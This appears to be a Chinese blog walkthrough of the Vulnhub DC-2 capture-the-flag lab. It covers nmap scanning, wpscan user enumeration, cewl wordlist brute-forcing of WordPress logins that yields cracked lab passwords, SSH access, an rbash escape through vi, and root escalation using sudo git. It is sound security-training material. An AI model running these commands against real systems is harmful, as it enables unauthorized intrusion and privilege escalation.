当前位置: 首页 > news >正文

Vulnhub靶场----2、DC-2

文章目录

    • 一、环境搭建
    • 二、渗透流程
    • 三、思路总结


一、环境搭建

DC-2下载地址:https://download.vulnhub.com/dc/DC-2.zip
kali:192.168.144.148
DC-2:192.168.144.150
添加hosts文件:192.168.144.150 DC-2
在这里插入图片描述
在这里插入图片描述


二、渗透流程

nmap -A -T5 -sV -sT -p- 192.168.144.150
开放端口:80(web)、 7744(ssh)
在这里插入图片描述

访问:192.168.144.150
在这里插入图片描述
获取到flag1
在这里插入图片描述

flag1提示需要使用cewl进行暴力破解
进行目录扫描,获取到后台登录地址:http://dc-2/wp-admin
使用wpscan对wordpress用户进行枚举:wpscan --url http://dc-2 -e u
获取到三个用户:admin、jerry、tom
在这里插入图片描述
利用cewl工具生成密码字典:cewl http://dc-2 -w passwd.txt
在这里插入图片描述
生成用户字典:vim user1.txt
在这里插入图片描述
使用wpscan进行爆破:wpscan --url http://dc-2 -U user1.txt -P passwd.txt
在这里插入图片描述

获取到了jerry:adipiscingtom: parturient,登录后台
在这里插入图片描述
获取到flag2
在这里插入图片描述

flag2提示,如果此路不通,尝试另一种方法,尝试7744端口ssh连接
tom登录成功
在这里插入图片描述

发现flag3
在这里插入图片描述

rbash限制,cat无法执行,vim无法执行,vi可以执行
在这里插入图片描述
在这里插入图片描述

flag3提示可以尝试切换一下用户
方法一:使用vi突破rbash
vi
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry
成功切换到jerry
在这里插入图片描述

成功访问到flag4在这里插入图片描述

查看是否有可以提权的命令:find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述

sudo -l:发现git可以利用,flag4也提示了可以使用git
在这里插入图片描述

sudo git help config:进入文本模式
!/bin/bash:获取shell
在这里插入图片描述

获取最后的final-flag.txt
在这里插入图片描述


三、思路总结

1、nmap端口扫描,添加hosts文件,访问web页面;
2、dirb目录扫描获取后台登录地址;
3、cewl暴力破解获取后台登录账户;
4、ssh远程连接;
5、vi突破rbash切换用户;
6、git提权;

参考链接:https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC2

http://www.lryc.cn/news/15475.html

相关文章:

  • Java 基础(3)—synchornized 关键字简单理解
  • 【Linux】调试工具gdb的使用
  • 大数据知识图谱项目——基于知识图谱的医疗知识问答系统(详细讲解及源码)
  • 威马汽车:跃马扬鞭未竟,鞍马劳顿难行?
  • 【网络】网络基础
  • Linux系统之Uboot、Kernel、Busybox思考之三
  • FPGA 20个例程篇:20.USB2.0/RS232/LAN控制并行DAC输出任意频率正弦波、梯形波、三角波、方波(一)
  • 性能测试学习和性能瓶颈分析路线
  • 达梦数据库(DM8)集成使用 Geoserver(2.22.2) 以及其他对应版本详解
  • 全开源无加密的RuleApp文章社区APP客户端源码
  • 基于springboot校园二手市场平台
  • 维度建模基本流程总结
  • RocketMQ事务消息
  • 大数据处理 - 双层桶划分
  • NFC标签读写器隐私协议
  • DocEE:一种用于文档级事件抽取的大规模细粒度基准 论文解读
  • ImageCombiner设计源码详解
  • python基础 | python基础语法
  • YOLOv6-3.0-目标检测论文解读
  • JAVA集合之Map >>HashMap/Hashtable/TreeMap/LinkedHashMap结构
  • JavaScript从零开始 学习记录(一)
  • C++项目——高并发内存池(3)--central cache整体设计
  • Spring Boot 整合 MyBatis 配置等案例教程
  • 比特数据结构与算法(第三章_下)队列的概念和实现(力扣:225+232+622)
  • c++提高篇——STL容器实现打分系统
  • 【图片上传记录三】element-ui组件详解与封装(自定义上传、限制文件大小、格式以及图片尺寸)
  • 一个golang版本管理工具
  • SpringBoot整合Spring Security过滤器链加载执行流程源码分析
  • Jest使用
  • 定位于企业数字化底座,开箱可用(spring cloud+Vue)基础框架,赶紧收藏!